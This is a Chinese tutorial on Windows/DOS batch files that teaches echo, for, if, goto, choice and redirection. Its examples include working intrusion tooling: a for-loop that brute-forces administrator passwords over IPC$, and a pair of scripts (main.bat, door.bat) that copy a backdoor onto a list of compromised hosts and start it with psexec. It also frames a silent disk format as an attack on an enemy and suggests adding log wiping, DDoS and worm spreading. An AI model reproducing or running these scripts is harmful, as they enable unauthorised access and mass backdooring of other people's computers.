zoukankan      html  css  js  c++  java
  • 批处理基本知识以及进阶 V2.0

    批处理基本知识以及进阶

    将以要执行的程序指令 , 像在 dos 模式下一下写入记事本 , 保存成 bat 文件 , 就可以执行了

    一 . 简单批处理内部命令简介

    1.Echo 命令

    打开回显或关闭请求回显功能,或显示消息。如果没有任何参数, echo 命令将显示当前回显设置。

    语法 :

    echo [{on │ off}] [message]

    Sample : @echo off / echo hello world

    在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用 > >> ^ )结合来实现输入一些命

    令到特定格式的文件中 . 这将在以后的例子中体现出来。

    2.@ 命令

    表示不显示 @ 后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使

    用的命令啦。

    Sample : @echo off

    @echo Now initializing the program,please wait a minite...

    @format X: /q/u/autoset (format 这个命令是不可以使用 /y 这个参数的,可喜的是微软留了个 autoset 这

    个参数给我们,效果和 /y 是一样的。 )

    3.Goto 命令

    指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。

    语法: goto label ( label 是参数,指定所要转向的批处理程序中的行。)

    Sample :

    if {%1}=={} goto noparms

    if {%2}=={} goto noparms (如果这里的 if 、 %1 、 %2 你不明白的话,先跳过去,后面会有详细的解释。)

    @Rem check parameters if null show usage

    :noparms

    echo Usage: monitor.bat ServerIP PortNumber

    goto end

    标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签, goto 命令

    就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

    Rem 命令

    注释命令,在 C 语言中相当与 /*--------*/, 它并不会被执行,只是起一个注释的作用,便于别人阅读和你

    自己日后修改。

    Rem Message

    Sample : @Rem Here is the description.

    5.Pause 命令

    运行 Pause 命令时,将显示下面的消息:

    Press any key to continue . . .

    Sample :

    @echo off

    :begin

    copy a:*.* d : /back

    echo Please put a new disk into driver A

    pause

    goto begin

    在这个例子中,驱动器 A 中磁盘上的所有文件均复制到 d:/back 中。显示的注释提示您将另一张磁盘放入

    驱动器 A 时, pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

    Call 命令

    从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。 call 命令接受用作调用目标的标签

    。如果在脚本或批处理文件外使用 Call ,它将不会在命令行起作用。

    语法 :

    call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]

    参数 :

    [Drive:}[Path] FileName

    指定要调用的批处理程序的位置和名称。 filename 参数必须具有 .bat 或 .cmd 扩展名。

    start 命令

    调用外部程序,所有的 DOS 命令和命令行程序都可以由 start 命令来调用。

    常用参数:

    MIN 开始时窗口最小化

    SEPARATE 在分开的空间内开始 16 位 Windows 程序

    HIGH 在 HIGH 优先级类别开始应用程序

    REALTIME 在 REALTIME 优先级类别开始应用程序

    WAIT 启动应用程序并等候它结束

    parameters 这些为传送到命令 / 程序的参数

    执行的应用程序是 32- 位 GUI 应用程序时, CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本

    内执行,该新行为则不会发生。

    8.choice 命令

    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加 /c: 参数, c: 后应写提

    示可输入的字符,之间无空格。它的返回码为 1234......

    如 : choice /c:dme defrag,mem,end

    将显示

    defrag,mem,end[D,M,E]?

    Sample :

    Sample.bat 的内容如下 :

    @echo off

    choice /c:dme defrag,mem,end

    if errorlevel 3 goto defrag (应先判断数值最高的错误码)

    if errorlevel 2 goto mem

    if errotlevel 1 goto end

    :defrag

    c:/dos/defrag

    goto end

    :mem

    mem

    goto end

    :end

    echo good bye

    此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择 d m e ,然后 if 语句将作出判断, d 表示执行

    标号为 defrag 的程序段, m 表示执行标号为 mem 的程序段, e 表示执行标号为 end 的程序段,每个程序段最后

    都以 goto end 将程序跳到 end 标号处,然后程序将显示 good bye ,文件结束。

    9.If 命令

    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。

    有三种格式 :

    1) 、 if " 参数 " == " 字符串 " 待执行的命令

    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。 ( 注意是两个等号)

    如 if "%1"=="a" format a:

    if {%1}=={} goto noparms

    if {%2}=={} goto noparms

    2) 、 if exist 文件名 待执行的命令

    如果有指定的文件,则条件成立,运行命令,否则运行下一句。

    如 if exist config.sys edit config.sys

    3) 、 if errorlevel / if not errorlevel 数字 待执行的命令

    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。

    如 if errorlevel 2 goto x2

    DOS 程序运行时都会返回一个数字给 DOS ,称为错误码 errorlevel 或称返回码,常见的返回码为 0 、 1 。

    for 命令

    for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。

    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    for {%variable │ %%variable} in (set) do command [ CommandLineOptions]

    %variable 指定一个单一字母可替换的参数。

    (set) 指定一个或一组文件。可以使用通配符。

    command 指定对每个文件执行的命令。

    command-parameters 为特定命令指定参数或命令行开关。

    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    而不要用 %variable 。变量名称是区分大小写的,所以 %i 不同于 %I

    如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持 :

    FOR /D %variable IN (set) DO command [command-parameters]

    如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

    FOR /R [[drive:]path] %variable IN (set) DO command [command-parameters]

    检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用

    当前目录。如果集仅为一个单点 (.) 字符,则枚举该目录树。

    FOR /L %variable IN (start,step,end) DO command [command-parameters]

    该集表示以增量形式从开始到结束的一个数字序列。

    因此, (1,1,5) 将产生序列 1 2 3 4 5 , (5,-1,1) 将产生

    序列 (5 4 3 2 1) 。

    FOR /F ["options"] %variable IN (file-set) DO command

    FOR /F ["options"] %variable IN ("string") DO command

    FOR /F ["options"] %variable IN ('command') DO command

    或者,如果有 usebackq 选项 :

    FOR /F ["options"] %variable IN (file-set) DO command

    FOR /F ["options"] %variable IN ("string") DO command

    FOR /F ["options"] %variable IN ('command') DO command

    filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读

    取并经过处理。

    处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字

    符串变量值调用 For 循环。以默认方式, /F 通过每个文件的每一行中分开的第一个空白符号。跳过空白

    行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同

    解析选项的关键字。这些关键字为 :

    eol=c - 指一个行注释字符的结尾 ( 就一个 )

    skip=n - 指在文件开始时忽略的行数。

    delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。

    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的

    格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号,那么额外的变量将在最后一

    个符号解析之分配并接受行的保留文本。

    usebackq - 指定新语法已在下类情况中使用 :

    在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 file-set 中使用双引号扩起

    文件名称。

    sample1:

    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for

    程序体;用逗号和 / 或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用

    %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用

    双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会

    被理解成是用作定义某个要分析的字符串的。

    %i 专门在 for 语句中得到说明, %j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens=

    一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或 'Z' 的变量。请记住, FOR 变量是单一字

    母、分大小写和全局的;同时不能有 52 个以上都在使用中。

    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。

    这样,该字符串会被当作一个文件中的一个单一输入行。

    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符

    串。该字符串会被当作命令行,传递到一个子 CMD.EXE ,其输出会被抓进内存,并被当作文件分析。因此

    ,以下例子 :

    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    会枚举当前环境中的环境变量名称。

    另外, FOR 变量参照的替换已被增强。您现在可以使用下列选项语法 :

    ~I - 删除任何引号 (") ,扩充 %I

    %~fI - 将 %I 扩充到一个完全合格的路径名

    %~dI - 仅将 %I 扩充到一个驱动器号

    %~pI - 仅将 %I 扩充到一个路径

    %~nI - 仅将 %I 扩充到一个文件名

    %~xI - 仅将 %I 扩充到一个文件扩展名

    %~sI - 扩充的路径只含有短名

    %~aI - 将 %I 扩充到文件的文件属性

    %~tI - 将 %I 扩充到文件的日期 / 时间

    %~zI - 将 %I 扩充到文件的大小

    %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变

    量未被定义,或者没有找到文件,此组合键会扩充空字符串

    可以组合修饰符来得到多重结果 :

    %~dpI - 仅将 %I 扩充到一个驱动器号和路径

    %~nxI - 仅将 %I 扩充到一个文件名和扩展名

    %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名

    %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。

    %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

    在以上例子中, %I 和 PATH 可用其他有效数值代替。 %~ 语法用一个有效的 FOR 变量名终止。选取类似

    %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

    以上是 MS 的官方帮助,下面我们举几个例子来具体说明一下 For 命令在入侵中的用途。

    sample2 :

    利用 For 命令来实现对一台目标 Win2k 主机的暴力密码破解。

    我们用 net use file://ip/ipc$ "password" /u:"administrator" 来尝试这和目标主机进行连接,当成功时记下

    密码。

    最主要的命令是一条: for /f i% in (dict.txt) do net use file://ip/ipc$ "i%" /u:"administrator"

    用 i% 来表示 admin 的密码,在 dict.txt 中这个取 i% 的值用 net use 命令来连接。然后将程序运行结果传递给

    find 命令--

    for /f i%% in (dict.txt) do net use file://ip/ipc$ "i%%" /u:"administrator" │ find ": 命令成功完

    成 ">>D:/ok.txt ,这样就 ko 了。

    sample3 :

    你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会

    变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵

    ,看下去你就会明白了。

    主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable )

    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k

    tokens 的用法请参见上面的 sample1 ,在这里它表示按顺序将 victim.txt 中的内容传递给 door.bat 中的参数

    %i %j %k 。

    而 cultivate.bat 无非就是用 net use 命令来建立 IPC$ 连接,并 copy 木马+后门到 victim ,然后用返回码

    ( If errorlever = )来筛选成功种植后门的主机,并 echo 出来,或者 echo 到指定的文件。

    delims= 表示 vivtim.txt 中的内容是一空格来分隔的。我想看到这里你也一定明白这 victim.txt 里的内容

    是什么样的了。应该根据 %%i %%j %%k 表示的对象来排列,一般就是 ip password username 。

    代码雏形:

    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

    ------

    @echo off

    @if "%1"=="" goto usage

    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

    @goto end

    :usage

    @echo run this batch in dos modle.or just double-click it.

    :end

    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------

    ------

    ------------------- cut here then save as a batchfile(I call it door.bat) ------------------

    -----------

    @net use file://%1/ipc$ %3 /u:"%2"

    @if errorlevel 1 goto failed

    @echo Trying to establish the IPC$ connection ............OK

    @copy windrv32.exe//%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3

    >>ko.txt

    @psexec file://%1/ c:/winnt/system32/windrv32.exe

    @psexec file://%1/ net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

    :failed

    @echo Sorry can not connected to the victim.

    ----------------- cut here then save as a batchfile(I call it door.bat) --------------------

    ------------

    这只是一个自动种植后门批处理的雏形,两个批处理和后门程序( Windrv32.exe ) ,PSexec.exe 需放在统一

    目录下 . 批处理内容

    尚可扩展 , 例如 : 加入清除日志 +DDOS 的功能 , 加入定时添加用户的功能 , 更深入一点可以使之具备自动传播功

    能 ( 蠕虫 ). 此处不多做叙述 , 有兴趣的朋友可自行研究 .

    二 . 如何在批处理文件中使用参数

    批处理中可以使用参数,一般从 1% 到 9% 这九个,当有多个参数时需要用 shift 来移动,这种情况并不多见

    ,我们就不考虑它了。

    sample1 : fomat.bat

    @echo off

    if "%1"=="a" format a:

    :format

    @format a:/q/u/auotset

    @echo please insert another disk to driver A.

    @pause

    @goto fomat

    这个例子用于连续地格式化几张软盘,所以用的时候需在 dos 窗口输入 fomat.bat a ,呵呵 , 好像有点画蛇添

    足了~

    sample2 :

    当我们要建立一个 IPC$ 连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令

    写入一个批处理,把肉鸡地 ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令

    了。

    @echo off

    @net use file://1%/ipc$ "2%" /u:"3%" 注意哦,这里 PASSWORD 是第二个参数。

    @if errorlevel 1 echo connection failed

    怎么样 , 使用参数还是比较简单的吧?你这么帅一定学会了 .No.3

    三 . 如何使用组合命令 (Compound Command)

    1.&

    Usage :第一条命令 & 第二条命令 [& 第三条命令 ...]

    用这种方法可以同时执行多条命令,而不管命令是否执行成功

    Sample :

    C:/>dir z: & dir c:/Ex4rch

    The system cannot find the path specified.

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB

    Directory of c:/Ex4rch

    2002-05-14 23:51 .

    2002-05-14 23:51 ..

    2002-05-14 23:51 14 sometips.gif

    2.&&

    Usage :第一条命令 && 第二条命令 [&& 第三条命令 ...]

    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则

    一直执行完所有命令;

    Sample :

    C:/>dir z: && dir c:/Ex4rch

    The system cannot find the path specified.

    C:/>dir c:/Ex4rch && dir z:

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB

    Directory of c:/Ex4rch

    2002-05-14 23:55 .

    2002-05-14 23:55 ..

    2002-05-14 23:55 14 sometips.gif

    1 File(s) 14 bytes

    2 Dir(s) 768,671,744 bytes free

    The system cannot find the path specified.

    在做备份的时候可能会用到这种命令会比较简单,如:

    dir file&://192.168.0.1/database/backup.mdb && copy file&://192.168.0.1/database/backup.mdb

    E:/backup

    如果远程服务器上存在 backup.mdb 文件,就执行 copy 命令,若不存在该文件则不执行 copy 命令。这种用法

    可以替换 IF exist 了 .

    3. ││

    Usage :第一条命令 ││ 第二条命令 [ ││ 第三条命令 ...]

    用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的

    命令则一直执行完所有命令;

    Sample :

    C:/Ex4rch>dir sometips.gif ││ del sometips.gif

    Volume in drive C has no label.

    Volume Serial Number is 0078-59FB

    Directory of C:/Ex4rch

    2002-05-14 23:55 14 sometips.gif

    1 File(s) 14 bytes

    0 Dir(s) 768,696,320 bytes free

    组合命令使用的例子:

    sample :

    @copy trojan.exe file://%1/admin$/system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3

    >>victim.txt

    四、管道命令的使用

    1. │ 命令

    Usage :第一条命令 │ 第二条命令 [ │ 第三条命令 ...]

    将第一条命令的结果作为第二条命令的参数来使用,记得在 unix 中这种方式很常见。

    sample :

    time /t>>D:/IP.log

    netstat -n -p tcp │ find ":3389">>D:/IP.log

    start Explorer

    看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个 bat ,以获得登

    录用户的 IP 。

    2.> 、 >> 输出重定向命令

    将一条命令或某个程序输出结果的重定向到特定文件中 , > 与 >> 的区别在于, > 会清除调原有文件中的内

    容后写入指定文件,而 >> 只会追加内容到指定文件中,而不会改动其中的内容。

    sample1 :

    echo hello world>c:/hello.txt (stupid example?)

    sample2:

    时下 DLL 木马盛行,我们知道 system32 是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻, DLL 马也不

    例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的 EXE 和 DLL 文件作一个记录:

    运行 CMD-- 转换目录到 system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,

    这样所有的 EXE 和 DLL 文件的名称都被分别记录到 exeback.txt 和 dllback.txt 中 ,

    日后如发现异常但用传统的方法查不出问题时 , 则要考虑是不是系统中已经潜入 DLL 木马了 .

    这时我们用同样的命令将 system32 下的 EXE 和 DLL 文件记录到另外的 exeback1.txt 和 dllback1.txt 中 , 然后运

    行 :

    CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.( 用 FC 命令比

    较前后两次的 DLL 和 EXE 文件 , 并将结果输入到 diff.txt 中 ), 这样我们就能发现一些多出来的 DLL 和 EXE 文件 ,

    然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被 DLL 木马光顾了。没

    有是最好,如果有的话也不要直接 DEL 掉,先用 regsvr32 /u trojan.dll 将后门 DLL 文件注销掉 , 再把它移到

    回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

    3.< 、 >& 、 <&

    < 从文件中而不是从键盘中读入命令输入。

    >& 将一个句柄的输出写入到另一个句柄的输入中。

    <& 从一个句柄读取输入并将其写入到另一个句柄输出中。

    这些并不常用,也就不多做介绍

    批处理相关知识 -2

    一、什么叫做批处理文件?

    批处理文件 ( 文件名为 *.BAT) 就是将一些常用的命令写入一个文本文件内。当我们要使用这个文件时,只要键入批处理文件的文件名,批处理文件就会依照文件中的命 
    令来执行全部或者是一部分指定要执行命令。如此我们便可简化我们的工作,而不用每一次都需要手动键入很多的命令来执行一些动作。

    一个批处理文件的建立,因为必须是一个文本文件;所以只要有字处理功能的软件,都可用来建立此文本文件,例如 EDIT , WORDSTAR , PE2 ……等程序皆可。

    二、什么是自动批处理?

    自动批处理文件( AUTOEXEC.BAT ),是批处理文件的一种,处于引导盘(一般为 C 盘或 A 盘)的根目录下,当每一次开机时,系统将自动到引导盘的根目录下查找它 
    ,如果找到了就自动执行它。

    三、批处理文件中可以使用哪些命令?

    只要能够在 DOS 的系统提示符下执行的命令,或应用软件执行文件名称,都能写在批处理文件中,批处理命令也可包含在内,详细如下:

    1 . DOS 的内部命令

    2 . DOS 的外部命令

    3 . COM 的命令文件

    4 . EXE 的可执行文件

    5 .批文件命令: CALL , ECHO , FOR , GOTO , IF , PAUSE , REM , SHIFT

    6 .其他的批文件

    四、批处理文件命令

    BATCH DOS 命令 1 .功能: 批处理命令是存储在一个特殊的批处理文件 (Batch File) 中的 DOS 命令。当执行一个批处理文件时, DOS 将依次执行文件内所存储的各 
    项 DOS 命令。

    2 .格式: [d:][path][filename.bat][parameters]

    3 .说明: ①、批处理文件的扩展名应为 .BAT 。

    ②、当执行批处理文件时,您可将参数 (parameters) 传给一名称为 file-name.bat 的文件,给予不同的参数,将可以执行类似的工作。

    ③、如果要停止批处理文件的动作,只要按下 ctrl+break 二键,即可停止正在执行的命令,并且出现下述信息:

    terminate batch job?(Y/N)

    如果按下 Y 键就可以终止批处理文件的执行工作。如果按 N 键,那系统将会继续执行其它的批处理文件中的命令。

    4 .范例: ①、如果在 test.bat 文件内包括一些替换参数,将使得在执行时,可以使用您所提供的值来替换它。例如:

    copy %1.mac %2.mac

    type %2.prn

    type %0.bat

    %0,%1,%2 这三个可以被代换的参数,于执行时将使用批处理文件时的三个参数顺序依次来代换之。

    %0 参数永远使用批处理文件的文件名来取代。

    在一个批处理文件内最多可以使用 10 个替换参数 (%0 到 %9)

    ②、当您要执行 test.bat 的批处理文件时,系统将依照 %1,%2 等顺序给予适当的参数。例如:

    A:/>test a:prog1 b:prog2

    于是系统将以 test 代表 %0 ,以 a:/prog1 代表 %1 ,以 b:/prog2 代表 %2 因此在执行此命令时,就相当于直接在键盘上依次输入下述 DOS 命令一样:

    copy a:/prog1.mac b:/prog2.mac

    type b:/prog2.prn

    typt test.bat

    ③、批处理文件亦可使用 DOS 的环境变量。环境变量于使用时前后都要加上一个 % 符号。例如要取用 DOS PATH 的值,您必需输入 %PATH% 。下例是先假设将变量 
    destination 定义为一台磁盘驱动器代码:

    SET destination=C: 于是执行以下所述命令

    ECHO dot here>%destination%FILE1 (必须在批处理文件中执行)

    执行之后, C 磁盘的 file1 文件内将会存在 dot here 字符串。

    CALL 批处理文件命令 1 .功能: 您可以在批处理文件里面调用令一个批处理文件,执行完毕后在继续执行原来的这个批处理文件内的剩余命令。

    2 .格式: CALL[d:][path][filename.bat][argument]

    3 .说明: ①、 [argument] 参数:指定经由批处理文件所要求的任何命令行信息;它可包含开关选择项、文件指定、变量 %1 至 %9 以及其它像 %baud% 这样的变量。

    ②、 CALL 命令可以在批处理文件的任何位置,只要执行时不要超过内存容量即可。

    ③、批处理文件也可以调用自己本身,但必须确定最后仍可以结束才好。

    ④、 CALL 命令不可以与重定向输入字符(如: < )以及数据管道字符(如: | )合用。

    4 .范例: ①、现有 main.bat 批处理文件内容如下所述:

    REM I am ist batch file

    REM Go to 2nd batch file

    CALL a2

    REM now come back!

    REM END

    ②、其中 A2.bat 批处理文件内容如下所述:

    REM I am 2nd batch file

    REM I will back to main batch file

    ③、执行时

    A:/>main ( 执行 main.bat)

    A:/>REM I am ist batch file (main.bat 前两行 )

    A:/>REM go 2nd batch file

    A:/>CALL A2 ( 由 main.bat 中调用 a2.bat)

    A:/>REM I am 2nd batch file ( 执行 a2.bat 文件的内容 )

    A:/>REM I will back to main batch file

    A:/>REM now come back! (a2.bat 结束后返回 main.bat

    A:/>REM END 继续执行其余命令 )

    CHOICE 选择键组命令 批处理文件命令 1 .功能: 此命令将显示指定的提示并暂停让用户在指定的键组中做选择,然后返回一个 ERRORLEVEL 参数给批处理程序。您只 
    能在批处理程序中使用本命令。

    2 .格式: [d:][path]CHOICE[/C[:]KEYS][/N][/S][/T[:]C'nn][test]

    3 .说明: ①、 /C[:]keys 参数:在提示中指定允许可用的键。当显示时, keys 将以逗黠分开并放置于括弧中,而且其后将会加上问号。如果您并无指定 /C 参数, 
    则 CHOICE 将会使用 YN 来当做默认值。冒号( : )是可有可无的。

    ②、 /N 参数:使 CHOICE 不显示提示,但是提示前的文字仍会显示。如果您指定此参数,则指定键仍然有效。

    ③、 /S 参数:将导致 CHOICE 会区分大小写。如果此参数未被指定,则 CHOICE 将接受用户指定的任意键值的大写或小写。

    ④、 /T[:]C'nn 参数:在默认指定键之前,使 CHOICE 在指定的秒数中暂停。 /T 参数可用的值如下所示:

    c---nn 秒后,指定的字符将为默认的。字符必须是 /c 参数中所指定的选择组。

    nn-- 指定暂停的秒数。可接受 0 到 99 之间。如果指定 0 ,则在默认之前将不会有暂停。

    ⑤、 [test] 参数:您想在提示符前显示的字符。假如您包含斜线( / )做为提示前字符的一部分时,则必须加引号。如果您并无提示字符,则 CHOICE 将仅显示提示符 
    。您所分派的第一个键将为 1 ,第二个键将为 2 ……余此类推。如果用户按下了一个未分派到的键,则 CHOICE 将发出一警告声响。如果 CHOICE 检测到一个错误的情 
    况,那么它将返回一 ERRORLEVEL 值为 255 的值;如果使用者按下了 Crtl+Break 二键或 Ctrl+c 二键,则 CHOICE 将返回一 ERRORLEVEL 值为 0 的值。

    4 、范例: 这个 CHIOCE 命令最有用的地方就是用在批处理文件设计中。它将让用户按下指定的按键后,执行某一段在批处理文件中的命令。例如:下面是包含 CHOICE 
    命令的 TEST.BAT 文件内容:

    @echo off

    cls

    echo. ┐

    echo 1.defragment │

    echo 2.MSD ├—显示这些字符

    echo 3.Anti-Virus │

    echo. ┘

    choice/c:123/t:1,10 将出现要您选择 1 或者 2 或者 3 的提示字符,如果等 10 秒后,用户尚未键入 1 或 2 或 3 中任一字符,则自动键入 1 。

    if errorlevel 1 goto defragmant 当用户在上述键入 1 时,将寻找: defragment 段来执行 defrag 程序。

    if errorlevel 2 goto msd 当用户在上述键入 2 时,将寻找: msd 段来执行 msd 程序。

    if errorlevel 3 goto av 当用户到上述键入 3 时,将寻找: av 段来执行 msav 程序。

    :defragment ┐

    defrag ├ :defragment 段

    goto end ┘

    :msd ┐

    msd ├ :msd 段

    goto end ┘

    :av ┐

    msav ├ :av 段

    goto end ┘

    :end 结束

    ECHO 批处理文件命令 1 .功能: 允许批处理文件执行时显示或不显示命令本身,但对于命令的执行则无影响。

    2 .格式: ECHO [on|off]

    ECHO [message]

    3 .说明: ①、 ECHO 命令在启动或系统重置时,均默认为 on ,而可将每一批处理命令在执行同时,显示在输出设备(屏幕)上。

    ②、当 ECHO 命令设定为 off 时在批处理命令执行时,将不显示该命令内容,但不影响执行结果。

    ③、如果您指定了 ECHO message ,则不论是 ECHO on 或 ECHO off , message 信息皆会显示在标准输出设备(屏幕)上。

    ④、如果 ECHO 后面未加任何字符,如 on 、 off 或 message ,则只会显示出 ECHO 当前是在 on 或 off 的状态。

    4 .范例:

    REM 范例:①

    ECHO off

    ECHO piping symbol"/"ECHO redirect symbol">/"

    “ / ”及“ > ”在 DOS 命令里有其特殊的意义,如果要让 DOS 不处理时,则需使用双引号括起来。

    REM 范例: ②

    @ECHO off

    @REM THIS LINE WILL NOT DISPLAY

    REN THIS LINE WILL BE DISPLAYED

    @file1

    上例中,命今前有 @ 符号,其命令行本身将不会被显示出来,其余的命令行都将被显示出来。

    REM 范例:③

    @ECHO off

    DIR *.TXT

    执行的结果如下:

    Volume in drive A is ABC

    Directory of A:TEST1 TXT 13 06-26-90 4:03P

    TEST2 TXT 13 06-26-90 4:03P

    TEST3 TXT 13 06-26-90 4:04P

    3 File(s) 310272 bytes free

    连 ECHO off 命令本身亦不显示。

    FOR 内部命令、批处理文件命令 1 .功能: 可以让我们反覆地执行 DOS 的命令。

    2 .格式: 在批处理文件中:

    FOR [%%c] in(set) DO [command][arguments]

    在 MS-DOS 命令行中:

    FOR [%c] in(set) DO [command][arguments]

    3 .说明: ①、 [%%c] 或 [%c] 参数:将顺序地得到 (set) 这个集合中的各个元素来作为它的值,当得到一个值之后,就执行 COMMAND 此一 DOS 命令。

    ②、 (set) 中可包含 * 、 ? 、 / 等通配符,那么 [%%c] 参数就会被设置成磁盘中能够匹配引指定的第一个文件名称,同时亦可使用路径。

    ③、 [command] 参数:指定您希望执行在每一包含在 (set) 中文件命令。

    ④、 [arguments] 参数为: [command] 参数指定选择项。

    4 .范例: ①、如果一批处理文件中含有下述命令:

    FOR %%F IN (TEST1.DBF TEST2.DBF TEST3.DBF) DO DEL %%F

    则执行时,将有下述的结果:

    DEL TEST1.DBF

    DEL TEST2.DBF

    DEL TEST3.DBF

    ②、如果批处理文件中含有下述的命令: ( 在 TEST.BAT 内 )

    FOR %%F IN (%1 %2 %3 %4 %5) DO DEL %%F

    则在执行时执行下列命令,将有与前项相同的结果:

    A>TEST TEST1.DBF TEST2.DBF TEST3.DBF

    ③、如果欲在 DOS 下直接执行此命令,则 %%c 只要改为 %c 的形式即可。

    GOTO 内部命令、批处理文件命令 1 .功能: 将 DOS 控制权转移到某标号( LABEL )中,继续往后面执行。在批处理文件中的一个标号是以一个冒号( : )开头,其 
    后跟着一个标号名称( LANEL NAME )所组成。

    格式: GOTO label

    3 .说明: ①、 GOTO label 会造成接着执行标号 label 那一行的命令。

    ②、如果 label 未被定义,则当前这一个批处理文件的动作就会停止,并显示 label notfound 信息。

    ③、批处理文件中的标号名称是由前面 8 个字来定义的。

    ④、批处理文件的标号是永远不会显示出来的。所以未引用的标号可用来作为一些注解。

    4 .范例: TEST.BAT 文件,内容如下:

    @ECHO OFF

    GOTO SECOND

    :FIRST

    REM I AM FIRST

    :SECOND

    REM I AM SECOND

    执行结果如下:

    REM I AM SECOND

    IF 内部命令、批处理文件命令 1 .功能: 使 DOS 可以有条件地执行命令。

    2 .格式: IF[not] errorlevel number command

    IF[not] [string1]==[string2] command

    IF[not] exist filename.ext command

    3 .说明: ①、 [not] 参数:是一个可选择使用的条目,使用时会将其后面条件的结果再求一个相反的结果。

    ②、 errorlevel number:errorlevel 是 DOS 产生出来的一个退出码。如果退出码大于或等于 number( 指定一个十进制值 ) ,则此条件成立,系统即可执行后面指定的 
    command 。

    注意:测试退出码时要由大到小来测试,因为退出码只要测到大于或等于指定的值时,该条件即成立。

    ③、 [string1]==[string2] : string1 及 string2 皆为字符的数据,英文字母的大小写将视为不同。当 [string1] 及 [string2] 内容完全相同时,则此条件成立, 
    并执行后面指定的 command 。此条件中的等号 (=) 必须要有两个。

    ④、 exist filename.ext :如果指定的文件存在时,则所得的结果为“真”,否则为“假”。若为真,则系统即执行后面指定的 command 。

    ⑤、 IF 命令为一个分支命令。 condition 是一个条件, command 是根据条件成立时才去执行的命令。若不成立时则往下继续执行次一个批处理文件命令。

    ⑥、 IF errorlevel 主要是用于配合自己的程序,并于执行完毕后设置一个错误代码 (errorcode) ,以便与 IF errorlevel 命令一起使用。

    4 .范例: REM 范例: ①

    @ECHO OFF MYPROG1

    IF ERRORLEVEL 2 GOTO 2

    IF ERRORLEVEL 1 GOTO 1

    GOTO EXTI

    :L1

    ECHO DATA ERROR

    GOTO EXIT

    :L2

    ECHO PROGRAM CANCEL

    :EXIT

    上例中 MYPROG1 为一程序,在执行时如果发生退出码时,则表示该程序未执行成功。

    REM 范例:②

    @ECHO OFF

